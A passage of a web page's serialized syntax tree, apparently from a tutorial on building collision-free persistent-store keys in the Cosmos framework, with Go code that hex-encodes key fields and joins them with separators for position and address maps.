"props":87624,"children":87625},{"style":5139},[87626],{"type":29,"value":87627}," make",{"type":23,"tag":504,"props":87629,"children":87630},{"style":5058},[87631],{"type":29,"value":5512},{"type":23,"tag":504,"props":87633,"children":87634},{"class":5016,"line":5336},[87635,87640,87644],{"type":23,"tag":504,"props":87636,"children":87637},{"style":5058},[87638],{"type":29,"value":87639},"    []",{"type":23,"tag":504,"props":87641,"children":87642},{"style":5467},[87643],{"type":29,"value":86828},{"type":23,"tag":504,"props":87645,"children":87646},{"style":5058},[87647],{"type":29,"value":5557},{"type":23,"tag":504,"props":87649,"children":87650},{"class":5016,"line":5349},[87651,87656,87660,87665,87669,87673,87677,87681],{"type":23,"tag":504,"props":87652,"children":87653},{"style":5041},[87654],{"type":29,"value":87655},"    hex",{"type":23,"tag":504,"props":87657,"children":87658},{"style":5058},[87659],{"type":29,"value":357},{"type":23,"tag":504,"props":87661,"children":87662},{"style":5139},[87663],{"type":29,"value":87664},"EncodedLen",{"type":23,"tag":504,"props":87666,"children":87667},{"style":5058},[87668],{"type":29,"value":603},{"type":23,"tag":504,"props":87670,"children":87671},{"style":5139},[87672],{"type":29,"value":11186},{"type":23,"tag":504,"props":87674,"children":87675},{"style":5058},[87676],{"type":29,"value":603},{"type":23,"tag":504,"props":87678,"children":87679},{"style":5041},[87680],{"type":29,"value":87534},{"type":23,"tag":504,"props":87682,"children":87683},{"style":5058},[87684],{"type":29,"value":87685},")),\n",{"type":23,"tag":504,"props":87687,"children":87688},{"class":5016,"line":5367},[87689],{"type":23,"tag":504,"props":87690,"children":87691},{"style":5058},[87692],{"type":29,"value":5200},{"type":23,"tag":504,"props":87694,"children":87695},{"class":5016,"line":5388},[87696,87701,87705,87710,87714,87718,87722,87726],{"type":23,"tag":504,"props":87697,"children":87698},{"style":5041},[87699],{"type":29,"value":87700},"hex",{"type":23,"tag":504,"props":87702,"children":87703},{"style":5058},[87704],{"type":29,"value":357},{"type":23,"tag":504,"props":87706,"children":87707},{"style":5139},[87708],{"type":29,"value":87709},"Encode",{"type":23,"tag":504,"props":87711,"children":87712},{"style":5058},[87713],{"type":29,"value":603},{"type":23,"tag":504,"props":87715,"children":87716},{"style":5041},[87717],{"type":29,"value":87618},{"type":23,"tag":504,"props":87719,"children":87720},{"style":5058},[87721],{"type":29,"value":4367},{"type":23,"tag":504,"props":87723,"children":87724},{"style":5041},[87725],{"type":29,"value":87534},{"type":23,"tag":504,"props":87727,"children":87728},{"style":5058},[87729],{"type":29,"value":5200},{"type":23,"tag":504,"props":87731,"children":87732},{"class":5016,"line":5397},[87733],{"type":23,"tag":504,"props":87734,"children":87735},{"emptyLinePlaceholder":15},[87736],{"type":29,"value":5734},{"type":23,"tag":504,"props":87738,"children":87739},{"class":5016,"line":5649},[87740,87745,87749,87753],{"type":23,"tag":504,"props":87741,"children":87742},{"style":5041},[87743],{"type":29,"value":87744},"positionNameEncoded",{"type":23,"tag":504,"props":87746,"children":87747},{"style":5047},[87748],{"type":29,"value":78481},{"type":23,"tag":504,"props":87750,"children":87751},{"style":5139},[87752],{"type":29,"value":87627},{"type":23,"tag":504,"props":87754,"children":87755},{"style":5058},[87756],{"type":29,"value":5512},{"type":23,"tag":504,"props":87758,"children":87759},{"class":5016,"line":5666},[87760,87764,87768],{"type":23,"tag":504,"props":87761,"children":87762},{"style":5058},[87763],{"type":29,"value":87639},{"type":23,"tag":504,"props":87765,"children":87766},{"style":5467},[87767],{"type":29,"value":86828},{"type":23,"tag":504,"props":87769,"children":87770},{"style":5058},[87771],{"type":29,"value":5557},{"type":23,"tag":504,"props":87773,"children":87774},{"class":5016,"line":5683},[87775,87779,87783,87787,87791,87795,87799,87804],{"type":23,"tag":504,"props":87776,"children":87777},{"style":5041},[87778],{"type":29,"value":87655},{"type":23,"tag":504,"props":87780,"children":87781},{"style":5058},[87782],{"type":29,"value":357},{"type":23,"tag":504,"props":87784,"children":87785},{"style":5139},[87786],{"type":29,"value":87664},{"type":23,"tag":504,"props":87788,"children":87789},{"style":5058},[87790],{"type":29,"value":603},{"type":23,"tag":504,"props":87792,"children":87793},{"style":5139},[87794],{"type":29,"value":11186},{"type":23,"tag":504,"props":87796,"children":87797},{"style":5058},[87798],{"type":29,"value":603},{"type":23,"tag":504,"props":87800,"children":87801},{"style":5041},[87802],{"type":29,"value":87803},"positionName",{"type":23,"tag":504,"props":87805,"children":87806},{"style":5058},[87807],{"type":29,"value":87685},{"type":23,"tag":504,"props":87809,"children":87810},{"class":5016,"line":5696},[87811],{"type":23,"tag":504,"props":87812,"children":87813},{"style":5058},[87814],{"type":29,"value":5200},{"type":23,"tag":504,"props":87816,"children":87817},{"class":5016,"line":5705},[87818,87822,87826,87830,87834,87838,87842,87846],{"type":23,"tag":504,"props":87819,"children":87820},{"style":5041},[87821],{"type":29,"value":87700},{"type":23,"tag":504,"props":87823,"children":87824},{"style":5058},[87825],{"type":29,"value":357},{"type":23,"tag":504,"props":87827,"children":87828},{"style":5139},[87829],{"type":29,"value":87709},{"type":23,"tag":504,"props":87831,"children":87832},{"style":5058},[87833],{"type":29,"value":603},{"type":23,"tag":504,"props":87835,"children":87836},{"style":5041},[87837],{"type":29,"value":87744},{"type":23,"tag":504,"props":87839,"children":87840},{"style":5058},[87841],{"type":29,"value":4367},{"type":23,"tag":504,"props":87843,"children":87844},{"style":5041},[87845],{"type":29,"value":87803},{"type":23,"tag":504,"props":87847,"children":87848},{"style":5058},[87849],{"type":29,"value":5200},{"type":23,"tag":504,"props":87851,"children":87852},{"class":5016,"line":5728},[87853],{"type":23,"tag":504,"props":87854,"children":87855},{"emptyLinePlaceholder":15},[87856],{"type":29,"value":5734},{"type":23,"tag":504,"props":87858,"children":87859},{"class":5016,"line":5737},[87860,87864,87868,87872,87876,87880],{"type":23,"tag":504,"props":87861,"children":87862},{"style":5041},[87863],{"type":29,"value":87269},{"type":23,"tag":504,"props":87865,"children":87866},{"style":5047},[87867],{"type":29,"value":78481},{"type":23,"tag":504,"props":87869,"children":87870},{"style":5041},[87871],{"type":29,"value":84298},{"type":23,"tag":504,"props":87873,"children":87874},{"style":5058},[87875],{"type":29,"value":357},{"type":23,"tag":504,"props":87877,"children":87878},{"style":5139},[87879],{"type":29,"value":87286},{"type":23,"tag":504,"props":87881,"children":87882},{"style":5058},[87883],{"type":29,"value":5512},{"type":23,"tag":504,"props":87885,"children":87886},{"class":5016,"line":5746},[87887,87891],{"type":23,"tag":504,"props":87888,"children":87889},{"style":6297},[87890],{"type":29,"value":87452},{"type":23,"tag":504,"props":87892,"children":87893},{"style":5058},[87894],{"type":29,"value":5557},{"type":23,"tag":504,"props":87896,"children":87897},{"class":5016,"line":5813},[87898,87902],{"type":23,"tag":504,"props":87899,"children":87900},{"style":5041},[87901],{"type":29,"value":87310},{"type":23,"tag":504,"props":87903,"children":87904},{"style":5058},[87905],{"type":29,"value":5557},{"type":23,"tag":504,"props":87907,"children":87908},{"class":5016,"line":5821},[87909,87913],{"type":23,"tag":504,"props":87910,"children":87911},{"style":5041},[87912],{"type":29,"value":87394},{"type":23,"tag":504,"props":87914,"children":87915},{"style":5058},[87916],{"type":29,"value":5557},{"type":23,"tag":504,"props":87918,"children":87919},{"class":5016,"line":5851},[87920,87925],{"type":23,"tag":504,"props":87921,"children":87922},{"style":5041},[87923],{"type":29,"value":87924},"    usernameEncoded",{"type":23,"tag":504,"props":87926,"children":87927},{"style":5058},[87928],{"type":29,"value":5557},{"type":23,"tag":504,"props":87930,"children":87931},{"class":5016,"line":5859},[87932,87936],{"type":23,"tag":504,"props":87933,"children":87934},{"style":5041},[87935],{"type":29,"value":87394},{"type":23,"tag":504,"props":87937,"children":87938},{"style":5058},[87939],{"type":29,"value":5557},{"type":23,"tag":504,"props":87941,"children":87942},{"class":5016,"line":5891},[87943],{"type":23,"tag":504,"props":87944,"children":87945},{"style":5041},[87946],{"type":29,"value":87947},"    positionNameEncoded\n",{"type":23,"tag":504,"props":87949,"children":87950},{"class":5016,"line":5899},[87951],{"type":23,"tag":504,"props":87952,"children":87953},{"style":5058},[87954],{"type":29,"value":5200},{"type":23,"tag":32,"props":87956,"children":87957},{},[87958,87960,87965],{"type":29,"value":87959},"We did it. We finally eliminated all potential ",{"type":23,"tag":154,"props":87961,"children":87963},{"className":87962},[],[87964],{"type":29,"value":87269},{"type":29,"value":87966}," collisions.",{"type":23,"tag":32,"props":87968,"children":87969},{},[87970],{"type":29,"value":87971},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":23,"tag":32,"props":87973,"children":87974},{},[87975,87977,87983,87985,87990,87992,87997,87999,88004,88006,88012],{"type":29,"value":87976},"In the Cosmos framework, it is common for each ",{"type":23,"tag":154,"props":87978,"children":87980},{"className":87979},[],[87981],{"type":29,"value":87982},"Module",{"type":29,"value":87984}," to own a few ",{"type":23,"tag":154,"props":87986,"children":87988},{"className":87987},[],[87989],{"type":29,"value":87040},{"type":29,"value":87991}," and have individual ",{"type":23,"tag":154,"props":87993,"children":87995},{"className":87994},[],[87996],{"type":29,"value":82009},{"type":29,"value":87998},"s managing access to storages. It's also important to note that each ",{"type":23,"tag":154,"props":88000,"children":88002},{"className":88001},[],[88003],{"type":29,"value":87040},{"type":29,"value":88005}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":23,"tag":154,"props":88007,"children":88009},{"className":88008},[],[88010],{"type":29,"value":88011},"Modules",{"type":29,"value":357},{"type":23,"tag":32,"props":88014,"children":88015},{},[88016,88018,88023],{"type":29,"value":88017},"With that being said, what if we have to maintain more than one structure within the same ",{"type":23,"tag":154,"props":88019,"children":88021},{"className":88020},[],[88022],{"type":29,"value":87040},{"type":29,"value":5195},{"type":23,"tag":32,"props":88025,"children":88026},{},[88027,88029,88035,88037,88042],{"type":29,"value":88028},"To demonstrate this scenario, we introduce the ",{"type":23,"tag":154,"props":88030,"children":88032},{"className":88031},[],[88033],{"type":29,"value":88034},"NameToAddressMap",{"type":29,"value":88036}," structure, which will be stored in the same ",{"type":23,"tag":154,"props":88038,"children":88040},{"className":88039},[],[88041],{"type":29,"value":87040},{"type":29,"value":88043}," we previously used.",{"type":23,"tag":4743,"props":88045,"children":88047},{"code":88046,"language":78229,"meta":7,"className":78230,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[88048],{"type":23,"tag":154,"props":88049,"children":88050},{"__ignoreMap":7},[88051,88066,88081,88088,88103,88122,88137,88144,88159,88214,88221,88237,88257,88272,88279,88295],{"type":23,"tag":504,"props":88052,"children":88053},{"class":5016,"line":5017},[88054,88058,88062],{"type":23,"tag":504,"props":88055,"children":88056},{"style":5030},[88057],{"type":29,"value":34812},{"type":23,"tag":504,"props":88059,"children":88060},{"style":5467},[88061],{"type":29,"value":87086},{"type":23,"tag":504,"props":88063,"children":88064},{"style":5467},[88065],{"type":29,"value":78267},{"type":23,"tag":504,"props":88067,"children":88068},{"class":5016,"line":4868},[88069,88073,88077],{"type":23,"tag":504,"props":88070,"children":88071},{"style":5030},[88072],{"type":29,"value":34812},{"type":23,"tag":504,"props":88074,"children":88075},{"style":5467},[88076],{"type":29,"value":87102},{"type":23,"tag":504,"props":88078,"children":88079},{"style":5467},[88080],{"type":29,"value":87107},{"type":23,"tag":504,"props":88082,"children":88083},{"class":5016,"line":4876},[88084],{"type":23,"tag":504,"props":88085,"children":88086},{"emptyLinePlaceholder":15},[88087],{"type":29,"value":5734},{"type":23,"tag":504,"props":88089,"children":88090},{"class":5016,"line":5099},[88091,88095,88099],{"type":23,"tag":504,"props":88092,"children":88093},{"style":5030},[88094],{"type":29,"value":34812},{"type":23,"tag":504,"props":88096,"children":88097},{"style":5467},[88098],{"type":29,"value":87119},{"type":23,"tag":504,"props":88100,"children":88101},{"style":5467},[88102],{"type":29,"value":87107},{"type":23,"tag":504,"props":88104,"children":88105},{"class":5016,"line":5203},[88106,88110,88114,88118],{"type":23,"tag":504,"props":88107,"children":88108},{"style":5030},[88109],{"type":29,"value":34812},{"type":23,"tag":504,"props":88111,"children":88112},{"style":5467},[88113],{"type":29,"value":9469},{"type":23,"tag":504,"props":88115,"children":88116},{"style":5030},[88117],{"type":29,"value":23203},{"type":23,"tag":504,"props":88119,"children":88120},{"style":5058},[88121],{"type":29,"value":5333},{"type":23,"tag":504,"props":88123,"children":88124},{"class":5016,"line":5308},[88125,88129,88133],{"type":23,"tag":504,"props":88126,"children":88127},{"style":5041},[88128],{"type":29,"value":45290},{"type":23,"tag":504,"props":88130,"children":88131},{"style":5058},[88132],{"type":29,"value":78292},{"type":23,"tag":504,"props":88134,"children":88135},{"style":5467},[88136],{"type":29,"value":86292},{"type":23,"tag":504,"props":88138,"children":88139},{"class":5016,"line":5336},[88140],{"type":23,"tag":504,"props":88141,"children":88142},{"style":5058},[88143],{"type":29,"value":5965},{"type":23,"tag":504,"props":88145,"children":88146},{"class":5016,"line":5349},[88147,88151,88155],{"type":23,"tag":504,"props":88148,"children":88149},{"style":5030},[88150],{"type":29,"value":34812},{"type":23,"tag":504,"props":88152,"children":88153},{"style":5467},[88154],{"type":29,"value":87176},{"type":23,"tag":504,"props":88156,"children":88157},{"style":5047},[88158],{"type":29,"value":87181},{"type":23,"tag":504,"props":88160,"children":88161},{"class":5016,"line":5367},[88162,88166,88170,88174,88178,88182,88186,88190,88194,88198,88202,88206,88210],{"type":23,"tag":504,"props":88163,"children":88164},{"style":5030},[88165],{"type":29,"value":87189},{"type":23,"tag":504,"props":88167,"children":88168},{"style":5058},[88169],{"type":29,"value":1380},{"type":23,"tag":504,"props":88171,"children":88172},{"style":5467},[88173],{"type":29,"value":87198},{"type":23,"tag":504,"props":88175,"children":88176},{"style":5058},[88177],{"type":29,"value":1422},{"type":23,"tag":504,"props":88179,"children":88180},{"style":5030},[88181],{"type":29,"value":69165},{"type":23,"tag":504,"props":88183,"children":88184},{"style":5058},[88185],{"type":29,"value":1380},{"type":23,"tag":504,"props":88187,"children":88188},{"style":5467},[88189],{"type":29,"value":87215},{"type":23,"tag":504,"props":88191,"children":88192},{"style":5058},[88193],{"type":29,"value":1422},{"type":23,"tag":504,"props":88195,"children":88196},{"style":5030},[88197],{"type":29,"value":69165},{"type":23,"tag":504,"props":88199,"children":88200},{"style":5058},[88201],{"type":29,"value":1380},{"type":23,"tag":504,"props":88203,"children":88204},{"style":5467},[88205],{"type":29,"value":87232},{"type":23,"tag":504,"props":88207,"children":88208},{"style":5058},[88209],{"type":29,"value":1422},{"type":23,"tag":504,"props":88211,"children":88212},{"style":5467},[88213],{"type":29,"value":87241},{"type":23,"tag":504,"props":88215,"children":88216},{"class":5016,"line":5388},[88217],{"type":23,"tag":504,"props":88218,"children":88219},{"emptyLinePlaceholder":15},[88220],{"type":29,"value":5734},{"type":23,"tag":504,"props":88222,"children":88223},{"class":5016,"line":5397},[88224,88228,88233],{"type":23,"tag":504,"props":88225,"children":88226},{"style":5030},[88227],{"type":29,"value":34812},{"type":23,"tag":504,"props":88229,"children":88230},{"style":5467},[88231],{"type":29,"value":88232}," AddressName",{"type":23,"tag":504,"props":88234,"children":88235},{"style":5467},[88236],{"type":29,"value":87107},{"type":23,"tag":504,"props":88238,"children":88239},{"class":5016,"line":5649},[88240,88244,88249,88253],{"type":23,"tag":504,"props":88241,"children":88242},{"style":5030},[88243],{"type":29,"value":34812},{"type":23,"tag":504,"props":88245,"children":88246},{"style":5467},[88247],{"type":29,"value":88248}," Address",{"type":23,"tag":504,"props":88250,"children":88251},{"style":5030},[88252],{"type":29,"value":23203},{"type":23,"tag":504,"props":88254,"children":88255},{"style":5058},[88256],{"type":29,"value":5333},{"type":23,"tag":504,"props":88258,"children":88259},{"class":5016,"line":5666},[88260,88264,88268],{"type":23,"tag":504,"props":88261,"children":88262},{"style":5041},[88263],{"type":29,"value":17151},{"type":23,"tag":504,"props":88265,"children":88266},{"style":5058},[88267],{"type":29,"value":78292},{"type":23,"tag":504,"props":88269,"children":88270},{"style":5467},[88271],{"type":29,"value":86292},{"type":23,"tag":504,"props":88273,"children":88274},{"class":5016,"line":5683},[88275],{"type":23,"tag":504,"props":88276,"children":88277},{"style":5058},[88278],{"type":29,"value":5965},{"type":23,"tag":504,"props":88280,"children":88281},{"class":5016,"line":5696},[88282,88286,88291],{"type":23,"tag":504,"props":88283,"children":88284},{"style":5030},[88285],{"type":29,"value":34812},{"type":23,"tag":504,"props":88287,"children":88288},{"style":5467},[88289],{"type":29,"value":88290}," AddressMap",{"type":23,"tag":504,"props":88292,"children":88293},{"style":5047},[88294],{"type":29,"value":87181},{"type":23,"tag":504,"props":88296,"children":88297},{"class":5016,"line":5705},[88298,88302,88306,88310,88314,88318,88322,88326,88330,88334,88338,88343,88347],{"type":23,"tag":504,"props":88299,"children":88300},{"style":5030},[88301],{"type":29,"value":87189},{"type":23,"tag":504,"props":88303,"children":88304},{"style":5058},[88305],{"type":29,"value":1380},{"type":23,"tag":504,"props":88307,"children":88308},{"style":5467},[88309],{"type":29,"value":87198},{"type":23,"tag":504,"props":88311,"children":88312},{"style":5058},[88313],{"type":29,"value":1422},{"type":23,"tag":504,"props":88315,"children":88316},{"style":5030},[88317],{"type":29,"value":69165},{"type":23,"tag":504,"props":88319,"children":88320},{"style":5058},[88321],{"type":29,"value":1380},{"type":23,"tag":504,"props":88323,"children":88324},{"style":5467},[88325],{"type":29,"value":87215},{"type":23,"tag":504,"props":88327,"children":88328},{"style":5058},[88329],{"type":29,"value":1422},{"type":23,"tag":504,"props":88331,"children":88332},{"style":5030},[88333],{"type":29,"value":69165},{"type":23,"tag":504,"props":88335,"children":88336},{"style":5058},[88337],{"type":29,"value":1380},{"type":23,"tag":504,"props":88339,"children":88340},{"style":5467},[88341],{"type":29,"value":88342},"AddressName",{"type":23,"tag":504,"props":88344,"children":88345},{"style":5058},[88346],{"type":29,"value":1422},{"type":23,"tag":504,"props":88348,"children":88349},{"style":5467},[88350],{"type":29,"value":88351},"Address\n",{"type":23,"tag":32,"props":88353,"children":88354},{},[88355],{"type":29,"value":88356},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":23,"tag":4743,"props":88358,"children":88360},{"code":88359,"language":78229,"meta":7,"className":78230,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[88361],{"type":23,"tag":154,"props":88362,"children":88363},{"__ignoreMap":7},[88364,88375,88390,88397,88404,88411,88427,88442,88469,88492,88511,88527,88563,88570,88605,88612,88632,88647,88682,88689,88724,88731,88759,88771,88783,88795,88807,88818,88830,88837,88844,88851,88858,88874,88889,88913,88936,88955,88970,89005,89012,89047,89054,89074,89089,89124,89131,89167,89174,89201,89212,89223,89234,89245,89256,89268,89275],{"type":23,"tag":504,"props":88365,"children":88366},{"class":5016,"line":5017},[88367,88371],{"type":23,"tag":504,"props":88368,"children":88369},{"style":5030},[88370],{"type":29,"value":11701},{"type":23,"tag":504,"props":88372,"children":88373},{"style":5058},[88374],{"type":29,"value":80630},{"type":23,"tag":504,"props":88376,"children":88377},{"class":5016,"line":4868},[88378,88382,88386],{"type":23,"tag":504,"props":88379,"children":88380},{"style":5041},[88381],{"type":29,"value":87394},{"type":23,"tag":504,"props":88383,"children":88384},{"style":5047},[88385],{"type":29,"value":5050},{"type":23,"tag":504,"props":88387,"children":88388},{"style":6297},[88389],{"type":29,"value":87403},{"type":23,"tag":504,"props":88391,"children":88392},{"class":5016,"line":4876},[88393],{"type":23,"tag":504,"props":88394,"children":88395},{"style":5058},[88396],{"type":29,"value":5200},{"type":23,"tag":504,"props":88398,"children":88399},{"class":5016,"line":5099},[88400],{"type":23,"tag":504,"props":88401,"children":88402},{"emptyLinePlaceholder":15},[88403],{"type":29,"value":5734},{"type":23,"tag":504,"props":88405,"children":88406},{"class":5016,"line":5203},[88407],{"type":23,"tag":504,"props":88408,"children":88409},{"emptyLinePlaceholder":15},[88410],{"type":29,"value":5734},{"type":23,"tag":504,"props":88412,"children":88413},{"class":5016,"line":5308},[88414,88418,88423],{"type":23,"tag":504,"props":88415,"children":88416},{"style":5030},[88417],{"type":29,"value":78365},{"type":23,"tag":504,"props":88419,"children":88420},{"style":5139},[88421],{"type":29,"value":88422}," PositionMapKey",{"type":23,"tag":504,"props":88424,"children":88425},{"style":5058},[88426],{"type":29,"value":5512},{"type":23,"tag":504,"props":88428,"children":88429},{"class":5016,"line":5336},[88430,88434,88438],{"type":23,"tag":504,"props":88431,"children":88432},{"style":5041},[88433],{"type":29,"value":87310},{"type":23,"tag":504,"props":88435,"children":88436},{"style":5467},[88437],{"type":29,"value":78486},{"type":23,"tag":504,"props":88439,"children":88440},{"style":5058},[88441],{"type":29,"value":5557},{"type":23,"tag":504,"props":88443,"children":88444},{"class":5016,"line":5349},[88445,88449,88453,88457,88461,88465],{"type":23,"tag":504,"props":88446,"children":88447},{"style":5041},[88448],{"type":29,"value":87322},{"type":23,"tag":504,"props":88450,"children":88451},{"style":5058},[88452],{"type":29,"value":4367},{"type":23,"tag":504,"props":88454,"children":88455},{"style":5041},[88456],{"type":29,"value":87803},{"type":23,"tag":504,"props":88458,"children":88459},{"style":5058},[88460],{"type":29,"value":78292},{"type":23,"tag":504,"props":88462,"children":88463},{"style":5467},[88464],{"type":29,"value":86828},{"type":23,"tag":504,"props":88466,"children":88467},{"style":5058},[88468],{"type":29,"value":5557},{"type":23,"tag":504,"props":88470,"children":88471},{"class":5016,"line":5367},[88472,88476,88480,88484,88488],{"type":23,"tag":504,"props":88473,"children":88474},{"style":5058},[88475],{"type":29,"value":78447},{"type":23,"tag":504,"props":88477,"children":88478},{"style":5041},[88479],{"type":29,"value":74219},{"type":23,"tag":504,"props":88481,"children":88482},{"style":5058},[88483],{"type":29,"value":78292},{"type":23,"tag":504,"props":88485,"children":88486},{"style":5467},[88487],{"type":29,"value":86828},{"type":23,"tag":504,"props":88489,"children":88490},{"style":5058},[88491],{"type":29,"value":16850},{"type":23,"tag":504,"props":88493,"children":88494},{"class":5016,"line":5388},[88495,88499,88503,88507],{"type":23,"tag":504,"props":88496,"children":88497},{"style":5041},[88498],{"type":29,"value":87924},{"type":23,"tag":504,"props":88500,"children":88501},{"style":5047},[88502],{"type":29,"value":78481},{"type":23,"tag":504,"props":88504,"children":88505},{"style":5139},[88506],{"type":29,"value":87627},{"type":23,"tag":504,"props":88508,"children":88509},{"style":5058},[88510],{"type":29,"value":5512},{"type":23,"tag":504,"props":88512,"children":88513},{"class":5016,"line":5397},[88514,88519,88523],{"type":23,"tag":504,"props":88515,"children":88516},{"style":5058},[88517],{"type":29,"value":88518},"        []",{"type":23,"tag":504,"props":88520,"children":88521},{"style":5467},[88522],{"type":29,"value":86828},{"type":23,"tag":504,"props":88524,"children":88525},{"style":5058},[88526],{"type":29,"value":5557},{"type":23,"tag":504,"props":88528,"children":88529},{"class":5016,"line":5649},[88530,88535,88539,88543,88547,88551,88555,88559],{"type":23,"tag":504,"props":88531,"children":88532},{"style":5041},[88533],{"type":29,"value":88534},"        hex",{"type":23,"tag":504,"props":88536,"children":88537},{"style":5058},[88538],{"type":29,"value":357},{"type":23,"tag":504,"props":88540,"children":88541},{"style":5139},[88542],{"type":29,"value":87664},{"type":23,"tag":504,"props":88544,"children":88545},{"style":5058},[88546],{"type":29,"value":603},{"type":23,"tag":504,"props":88548,"children":88549},{"style":5139},[88550],{"type":29,"value":11186},{"type":23,"tag":504,"props":88552,"children":88553},{"style":5058},[88554],{"type":29,"value":603},{"type":23,"tag":504,"props":88556,"children":88557},{"style":5041},[88558],{"type":29,"value":87534},{"type":23,"tag":504,"props":88560,"children":88561},{"style":5058},[88562],{"type":29,"value":87685},{"type":23,"tag":504,"props":88564,"children":88565},{"class":5016,"line":5666},[88566],{"type":23,"tag":504,"props":88567,"children":88568},{"style":5058},[88569],{"type":29,"value":25971},{"type":23,"tag":504,"props":88571,"children":88572},{"class":5016,"line":5683},[88573,88577,88581,88585,88589,88593,88597,88601],{"type":23,"tag":504,"props":88574,"children":88575},{"style":5041},[88576],{"type":29,"value":87655},{"type":23,"tag":504,"props":88578,"children":88579},{"style":5058},[88580],{"type":29,"value":357},{"type":23,"tag":504,"props":88582,"children":88583},{"style":5139},[88584],{"type":29,"value":87709},{"type":23,"tag":504,"props":88586,"children":88587},{"style":5058},[88588],{"type":29,"value":603},{"type":23,"tag":504,"props":88590,"children":88591},{"style":5041},[88592],{"type":29,"value":87618},{"type":23,"tag":504,"props":88594,"children":88595},{"style":5058},[88596],{"type":29,"value":4367},{"type":23,"tag":504,"props":88598,"children":88599},{"style":5041},[88600],{"type":29,"value":87534},{"type":23,"tag":504,"props":88602,"children":88603},{"style":5058},[88604],{"type":29,"value":5200},{"type":23,"tag":504,"props":88606,"children":88607},{"class":5016,"line":5696},[88608],{"type":23,"tag":504,"props":88609,"children":88610},{"emptyLinePlaceholder":15},[88611],{"type":29,"value":5734},{"type":23,"tag":504,"props":88613,"children":88614},{"class":5016,"line":5705},[88615,88620,88624,88628],{"type":23,"tag":504,"props":88616,"children":88617},{"style":5041},[88618],{"type":29,"value":88619},"    positionNameEncoded",{"type":23,"tag":504,"props":88621,"children":88622},{"style":5047},[88623],{"type":29,"value":78481},{"type":23,"tag":504,"props":88625,"children":88626},{"style":5139},[88627],{"type":29,"value":87627},{"type":23,"tag":504,"props":88629,"children":88630},{"style":5058},[88631],{"type":29,"value":5512},{"type":23,"tag":504,"props":88633,"children":88634},{"class":5016,"line":5728},[88635,88639,88643],{"type":23,"tag":504,"props":88636,"children":88637},{"style":5058},[88638],{"type":29,"value":88518},{"type":23,"tag":504,"props":88640,"children":88641},{"style":5467},[88642],{"type":29,"value":86828},{"type":23,"tag":504,"props":88644,"children":88645},{"style":5058},[88646],{"type":29,"value":5557},{"type":23,"tag":504,"props":88648,"children":88649},{"class":5016,"line":5737},[88650,88654,88658,88662,88666,88670,88674,88678],{"type":23,"tag":504,"props":88651,"children":88652},{"style":5041},[88653],{"type":29,"value":88534},{"type":23,"tag":504,"props":88655,"children":88656},{"style":5058},[88657],{"type":29,"value":357},{"type":23,"tag":504,"props":88659,"children":88660},{"style":5139},[88661],{"type":29,"value":87664},{"type":23,"tag":504,"props":88663,"children":88664},{"style":5058},[88665],{"type":29,"value":603},{"type":23,"tag":504,"props":88667,"children":88668},{"style":5139},[88669],{"type":29,"value":11186},{"type":23,"tag":504,"props":88671,"children":88672},{"style":5058},[88673],{"type":29,"value":603},{"type":23,"tag":504,"props":88675,"children":88676},{"style":5041},[88677],{"type":29,"value":87803},{"type":23,"tag":504,"props":88679,"children":88680},{"style":5058},[88681],{"type":29,"value":87685},{"type":23,"tag":504,"props":88683,"children":88684},{"class":5016,"line":5746},[88685],{"type":23,"tag":504,"props":88686,"children":88687},{"style":5058},[88688],{"type":29,"value":25971},{"type":23,"tag":504,"props":88690,"children":88691},{"class":5016,"line":5813},[88692,88696,88700,88704,88708,88712,88716,88720],{"type":23,"tag":504,"props":88693,"children":88694},{"style":5041},[88695],{"type":29,"value":87655},{"type":23,"tag":504,"props":88697,"children":88698},{"style":5058},[88699],{"type":29,"value":357},{"type":23,"tag":504,"props":88701,"children":88702},{"style":5139},[88703],{"type":29,"value":87709},{"type":23,"tag":504,"props":88705,"children":88706},{"style":5058},[88707],{"type":29,"value":603},{"type":23,"tag":504,"props":88709,"children":88710},{"style":5041},[88711],{"type":29,"value":87744},{"type":23,"tag":504,"props":88713,"children":88714},{"style":5058},[88715],{"type":29,"value":4367},{"type":23,"tag":504,"props":88717,"children":88718},{"style":5041},[88719],{"type":29,"value":87803},{"type":23,"tag":504,"props":88721,"children":88722},{"style":5058},[88723],{"type":29,"value":5200},{"type":23,"tag":504,"props":88725,"children":88726},{"class":5016,"line":5821},[88727],{"type":23,"tag":504,"props":88728,"children":88729},{"emptyLinePlaceholder":15},[88730],{"type":29,"value":5734},{"type":23,"tag":504,"props":88732,"children":88733},{"class":5016,"line":5851},[88734,88739,88743,88747,88751,88755],{"type":23,"tag":504,"props":88735,"children":88736},{"style":5041},[88737],{"type":29,"value":88738},"    